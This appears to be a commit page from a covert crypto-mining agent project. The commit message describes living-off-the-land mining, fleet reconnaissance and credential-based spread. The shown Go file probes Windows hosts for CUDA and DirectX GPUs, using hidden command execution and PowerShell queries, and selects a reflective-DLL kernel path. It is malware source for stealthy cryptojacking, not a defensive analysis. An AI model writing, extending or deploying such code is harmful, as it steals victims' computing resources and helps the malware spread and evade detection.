Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
59
agent/miner/tier_gpu_compute_windows.go
Normal file
59
agent/miner/tier_gpu_compute_windows.go
Normal file
@@ -0,0 +1,59 @@
|
||||
//go:build windows
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe {
|
||||
probe := GPUComputeProbe{
|
||||
StratumReady: strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "",
|
||||
KernelPath: "hlsl_stub",
|
||||
DiagnosticOnly: true,
|
||||
}
|
||||
|
||||
if cudaOK() {
|
||||
probe.CUDAAvailable = true
|
||||
probe.KernelPath = "cuda_reflective_dll"
|
||||
probe.ReflectiveDLL = true
|
||||
}
|
||||
if !probe.CUDAAvailable && hlslOK() {
|
||||
probe.HLSLAvailable = true
|
||||
probe.KernelPath = "hlsl_compute_stub"
|
||||
}
|
||||
|
||||
// Probe-tier hashrate is diagnostic-only; poor values are acceptable.
|
||||
probe.HashrateEstimate = 0
|
||||
return probe
|
||||
}
|
||||
|
||||
func cudaOK() bool {
|
||||
paths := []string{
|
||||
os.Getenv("CUDA_PATH"),
|
||||
`C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA`,
|
||||
}
|
||||
for _, p := range paths {
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
if st, err := os.Stat(p); err == nil && st.IsDir() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
out, err := hiddenCombinedOutput("where", "nvidia-smi")
|
||||
return err == nil && strings.Contains(strings.ToLower(string(out)), "nvidia-smi")
|
||||
}
|
||||
|
||||
func hlslOK() bool {
|
||||
// DirectX compute shaders require d3d11; probe via DXGI adapter presence.
|
||||
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command",
|
||||
`(Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 0 } | Measure-Object).Count`)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(string(out)) != "0"
|
||||
}
|
||||
Reference in New Issue
Block a user